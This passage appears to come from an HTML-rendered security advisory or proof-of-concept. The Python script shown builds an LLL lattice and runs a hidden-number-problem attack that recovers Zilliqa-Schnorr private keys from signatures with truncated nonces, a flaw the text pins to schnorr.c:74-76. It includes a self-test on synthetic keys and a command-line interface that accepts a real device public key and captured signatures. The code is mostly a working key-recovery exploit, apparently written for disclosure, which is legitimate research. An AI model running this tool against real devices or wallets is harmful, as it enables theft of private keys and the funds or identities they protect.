italic;">mu</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">][</span><span>j</span><span style="color: #9399B2;">])</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> q</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">):</span><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> -=</span><span> q</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span></span> <span class="giallo-l"><span> mu</span><span style="color: #9399B2;">,</span><span> B</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> gso</span><span style="color: #9399B2;">(</span><span>b</span><span style="color: #9399B2;">,</span><span> dim</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> &gt;=</span><span style="color: #9399B2;"> (</span><span>delta</span><span style="color: #94E2D5;"> -</span><span style="color: #EBA0AC;font-style: italic;"> mu</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">][</span><span>k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">**</span><span style="color: #FAB387;">2</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> *</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]:</span></span> <span class="giallo-l"><span> k</span><span style="color: #94E2D5;"> +=</span><span style="color: #FAB387;"> 1</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> else</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">],</span><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> =</span><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">],</span><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">]</span></span> <span class="giallo-l"><span> mu</span><span style="color: #9399B2;">,</span><span> B</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> gso</span><span style="color: #9399B2;">(</span><span>b</span><span style="color: #9399B2;">,</span><span> dim</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> k</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> max</span><span style="color: #9399B2;">(</span><span>k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span> b</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ─── HNP attack ─────────────────────────────────────────────────────────</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># Recentering (Breitner–Heninger): k ∈ [0, K) → k = K/2 + e, |e| ≤ K/2,</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># s&#39; = (s − K/2) mod n gives e ≡ s&#39; + r·d (mod n). Halves the target norm —</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># critical at the m=4 information-theoretic boundary.</span></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># Target short vector: (e_1..e_m, K&#39;·d/n, K&#39;), K&#39; = 2^191.</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> hnp_attack</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">sigs</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> pub</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> bound_bits</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">192</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> verbose</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">True</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span> m</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>sigs</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> K0</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;"> 1</span><span style="color: #94E2D5;"> &lt;&lt;</span><span> bound_bits</span></span> <span class="giallo-l"><span> K</span><span style="color: #94E2D5;"> =</span><span> K0</span><span style="color: #94E2D5;"> //</span><span style="color: #FAB387;"> 2</span></span> <span class="giallo-l"><span> sigs</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [(</span><span>r</span><span style="color: #9399B2;">, (</span><span>s</span><span style="color: #94E2D5;"> -</span><span> K0</span><span style="color: #94E2D5;"> //</span><span style="color: #FAB387;"> 2</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> %</span><span> N</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> for</span><span style="color: #9399B2;"> (</span><span>r</span><span style="color: #9399B2;">,</span><span> s</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> in</span><span> sigs</span><span style="color: #9399B2;">]</span><span style="color: #9399B2;font-style: italic;"> # recenter</span></span> <span class="giallo-l"><span> dim</span><span style="color: #94E2D5;"> =</span><span> m</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 2</span></span> <span class="giallo-l"><span> basis</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> []</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> i</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>m</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span> row</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">)]</span><span style="color: #94E2D5;">*</span><span>dim; </span><span style="color: #EBA0AC;font-style: italic;">row</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> Fraction</span><span style="color: #9399B2;">(</span><span>N</span><span style="color: #9399B2;">)</span><span>; basis</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">append</span><span style="color: #9399B2;">(</span><span>row</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> basis</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">append</span><span style="color: #9399B2;">([</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span>r</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> for</span><span style="color: #9399B2;"> (</span><span>r</span><span style="color: #9399B2;">,</span><span> _</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> in</span><span> sigs</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> +</span><span style="color: #9399B2;"> [</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span>K</span><span style="color: #9399B2;">,</span><span> N</span><span style="color: #9399B2;">),</span><span style="color: #89B4FA;"> Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">)])</span></span> <span class="giallo-l"><span> basis</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">append</span><span style="color: #9399B2;">([</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span>s</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> for</span><span style="color: #9399B2;"> (</span><span>_</span><span style="color: #9399B2;">,</span><span> s</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> in</span><span> sigs</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> +</span><span style="color: #9399B2;"> [</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">),</span><span style="color: #89B4FA;"> Fraction</span><span style="color: #9399B2;">(</span><span>K</span><span style="color: #9399B2;">)])</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> verbose</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span> gap</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span style="color: #FAB387;">256</span><span style="color: #94E2D5;">*</span><span style="color: #9399B2;">(</span><span>m</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 2</span><span style="color: #94E2D5;">*</span><span>bound_bits</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> /</span><span> dim</span><span style="color: #94E2D5;"> -</span><span> bound_bits</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;font-style: italic;"> # +1 from recentering</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">&quot;[*] lattice dim=</span><span style="color: #F5C2E7;">{</span><span>dim</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">, |e|≤2^</span><span style="color: #F5C2E7;">{</span><span>bound_bits</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">1</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">, est. gap ≈ 2^</span><span style="color: #F5C2E7;">{</span><span>gap</span><span style="color: #CBA6F7;">:.1f</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> &quot;</span></span> <span class="giallo-l"><span style="color: #A6E3A1;font-style: italic;"> f</span><span style="color: #A6E3A1;">&quot;(</span><span style="color: #F5C2E7;">{</span><span style="color: #A6E3A1;">&#39;comfortable&#39;</span><span style="color: #CBA6F7;"> if</span><span> gap</span><span style="color: #94E2D5;"> &gt;</span><span style="color: #FAB387;"> 4</span><span style="color: #CBA6F7;"> else</span><span style="color: #A6E3A1;"> &#39;BORDERLINE — more sigs advised&#39;</span><span style="color: #CBA6F7;"> if</span><span> gap</span><span style="color: #94E2D5;"> &gt;</span><span style="color: #FAB387;"> 0</span><span style="color: #CBA6F7;"> else</span><span style="color: #A6E3A1;"> &#39;likely too small&#39;</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">)&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> red</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> lll</span><span style="color: #9399B2;">(</span><span>basis</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #CBA6F7;"> def</span><span style="color: #89B4FA;font-style: italic;"> try_vec</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">v</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #FAB387;font-style: italic;"> abs</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">v</span><span style="color: #9399B2;">[</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">])</span><span style="color: #94E2D5;"> !=</span><span> K</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span style="color: #FAB387;"> None</span></span> <span class="giallo-l"><span> sign</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;"> 1</span><span style="color: #CBA6F7;"> if</span><span style="color: #EBA0AC;font-style: italic;"> v</span><span style="color: #9399B2;">[</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> ==</span><span> K</span><span style="color: #CBA6F7;"> else</span><span style="color: #94E2D5;"> -</span><span style="color: #FAB387;">1</span></span> <span class="giallo-l"><span> d_frac</span><span style="color: #94E2D5;"> =</span><span style="color: #EBA0AC;font-style: italic;"> v</span><span style="color: #9399B2;">[</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">2</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> *</span><span> sign</span><span style="color: #94E2D5;"> *</span><span> N</span><span style="color: #94E2D5;"> /</span><span> K</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> d_frac</span><span style="color: #9399B2;">.</span><span>denominator</span><span style="color: #94E2D5;"> !=</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span style="color: #FAB387;"> None</span></span> <span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;font-style: italic;"> int</span><span style="color: #9399B2;">(</span><span>d_frac</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> %</span><span> N</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span> d</span><span style="color: #CBA6F7;"> if</span><span style="color: #89B4FA;"> mul</span><span style="color: #9399B2;">(</span><span>d</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> ==</span><span> pub</span><span style="color: #CBA6F7;"> else</span><span style="color: #FAB387;"> None</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"> # candidates: basis vectors, ±pairs, then small combos of the 3 shortest</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> v</span><span style="color: #CBA6F7;"> in</span><span> red</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> try_vec</span><span style="color: #9399B2;">(</span><span>v</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> d</span><span style="color: #CBA6F7;"> is not</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span> d</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> i</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;font-style: italic;">len</span><span style="color: #9399B2;">(</span><span>red</span><span style="color: #9399B2;">)):</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> j</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>i</span><span style="color: #94E2D5;">+</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>red</span><span style="color: #9399B2;">)):</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> w</span><span style="color: #CBA6F7;"> in</span><span style="color: #9399B2;"> ((</span><span style="color: #EBA0AC;font-style: italic;">red</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> +</span><span style="color: #EBA0AC;font-style: italic;"> red</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">)),</span></span> <span class="giallo-l"><span style="color: #9399B2;"> (</span><span style="color: #EBA0AC;font-style: italic;">red</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> -</span><span style="color: #EBA0AC;font-style: italic;"> red</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">))):</span></span> <span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> try_vec</span><span style="color: #9399B2;">(</span><span style="color: #CBA6F7;font-style: italic;">list</span><span style="color: #9399B2;">(</span><span>w</span><span style="color: #9399B2;">))</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> d</span><span style="color: #CBA6F7;"> is not</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span> d</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> import</span><span> itertools</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> cf</span><span style="color: #CBA6F7;"> in</span><span> itertools</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">product</span><span style="color: #9399B2;">((</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">2</span><span style="color: #9399B2;">,</span><span style="color: #94E2D5;"> -</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 0</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 2</span><span style="color: #9399B2;">),</span><span style="color: #EBA0AC;font-style: italic;"> repeat</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">3</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> cf</span><span style="color: #94E2D5;"> ==</span><span style="color: #9399B2;"> (</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 0</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 0</span><span style="color: #9399B2;">):</span><span style="color: #CBA6F7;"> continue</span></span> <span class="giallo-l"><span> v</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [</span><span style="color: #FAB387;font-style: italic;">sum</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">cf</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">t</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">red</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">t</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> for</span><span> t</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">3</span><span style="color: #9399B2;">))</span><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">)]</span></span> <span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> try_vec</span><span style="color: #9399B2;">(</span><span>v</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> d</span><span style="color: #CBA6F7;"> is not</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span> d</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span style="color: #FAB387;"> None</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ─── selftest: synthetic truncated-k signatures ─────────────────────────</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> selftest</span><span style="color: #9399B2;">():</span></span> <span class="giallo-l"><span> random</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">seed</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">1337</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;"> 0x</span><span style="color: #FAB387;">1dcb3d7f8a4e5c6b9f0a2d3c4b5e6f708192a3b4c5d6e7f8091a2b3c4d5e6f7</span></span> <span class="giallo-l"><span> P</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> mul</span><span style="color: #9399B2;">(</span><span>d</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> sigs</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> []</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> i</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">6</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span> k</span><span style="color: #94E2D5;"> =</span><span> random</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">randrange</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 1</span><span style="color: #94E2D5;"> &lt;&lt;</span><span style="color: #FAB387;"> 192</span><span style="color: #9399B2;">)</span><span style="color: #9399B2;font-style: italic;"> # truncated nonce (64 zero MSBs)</span></span> <span class="giallo-l"><span> Q</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> mul</span><span style="color: #9399B2;">(</span><span>k</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> r</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;font-style: italic;"> int</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">from_bytes</span><span style="color: #9399B2;">(</span><span>hashlib</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">sha256</span><span style="color: #9399B2;">(</span><span style="color: #89B4FA;">enc</span><span style="color: #9399B2;">(</span><span>Q</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> +</span><span style="color: #89B4FA;"> enc</span><span style="color: #9399B2;">(</span><span>P</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> +</span><span style="color: #A6E3A1;font-style: italic;"> f</span><span style="color: #A6E3A1;">&quot;selftest </span><span style="color: #F5C2E7;">{</span><span>i</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">&quot;</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">encode</span><span style="color: #9399B2;">()).</span><span style="color: #89B4FA;">digest</span><span style="color: #9399B2;">(),</span><span style="color: #A6E3A1;"> &#39;big&#39;</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> %</span><span> N</span></span> <span class="giallo-l"><span> s</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span>k</span><span style="color: #94E2D5;"> -</span><span> r</span><span style="color: #94E2D5;">*</span><span>d</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> %</span><span> N</span></span> <span class="giallo-l"><span> sigs</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">append</span><span style="color: #9399B2;">((</span><span>r</span><span style="color: #9399B2;">,</span><span> s</span><span style="color: #9399B2;">))</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">&quot;═══ SELFTEST (synthetic k &lt; 2^192, blind recovery) ═══&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> m</span><span style="color: #CBA6F7;"> in</span><span style="color: #9399B2;"> (</span><span style="color: #FAB387;">4</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 5</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 6</span><span style="color: #9399B2;">):</span></span> <span class="giallo-l"><span> rec</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> hnp_attack</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">sigs</span><span style="color: #9399B2;">[:</span><span style="color: #EBA0AC;font-style: italic;">m</span><span style="color: #9399B2;">],</span><span> P</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> ok</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span>rec</span><span style="color: #94E2D5;"> ==</span><span> d</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">&quot; m=</span><span style="color: #F5C2E7;">{</span><span>m</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> sigs → d </span><span style="color: #F5C2E7;">{</span><span style="color: #A6E3A1;">&#39;✓ RECOVERED&#39;</span><span style="color: #CBA6F7;"> if</span><span> ok</span><span style="color: #CBA6F7;"> else</span><span style="color: #A6E3A1;"> &#39;✗ not recovered&#39;</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> assert</span><span> m</span><span style="color: #94E2D5;"> &gt;</span><span style="color: #FAB387;"> 4</span><span style="color: #CBA6F7;"> or</span><span style="color: #FAB387;"> True</span></span> <span class="giallo-l"><span style="color: #CBA6F7;"> assert</span><span style="color: #89B4FA;"> hnp_attack</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">sigs</span><span style="color: #9399B2;">[:</span><span style="color: #FAB387;font-style: italic;">6</span><span style="color: #9399B2;">],</span><span> P</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> ==</span><span> d</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ─── main ───────────────────────────────────────────────────────────────</span></span> <span class="giallo-l"><span style="color: #CBA6F7;">if</span><span> __name__</span><span style="color: #94E2D5;"> ==</span><span style="color: #A6E3A1;"> &#39;__main__&#39;</span><span style="color: #9399B2;">:</span></span> <span class="giallo-l"><span> ap</span><span style="color: #94E2D5;"> =</span><span> argparse</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">ArgumentParser</span><span style="color: #9399B2;">(</span></span> <span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> description</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">&quot;Blind Zilliqa-Schnorr private-key recovery via lattice HNP &quot;</span></span> <span class="giallo-l"><span style="color: #A6E3A1;"> &quot;(truncated nonces, schnorr.c:74-76). Self-verifies via d·G == pubkey.&quot;</span><span style="color: #9399B2;">,</span></span> <span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> epilog</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">&quot;example: python3 poc/hnp.py --pubkey 034f73… --sig &lt;r‖s&gt; --sig &lt;r‖s&gt; --sig &lt;r‖s&gt; --sig &lt;r‖s&gt;&quot;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">add_argument</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">&#39;--pubkey&#39;</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> required</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">True</span><span style="color: #9399B2;">,</span></span> <span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> help</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">&#39;compressed device pubkey (66 hex, 02/03‖x)&#39;</span><span style="color: #9399B2;">)</span></span> <span class="giallo-l"><span> ap</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">add_argument</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;">&#39;--sig&#39;</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> action</span><span style="color: #94E2D5;">=</span><span style="color: #A6E3A1;">&#39;append&#39;</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> required</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">True</span><span style="color: #9399B2;">,</span></span> <span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> 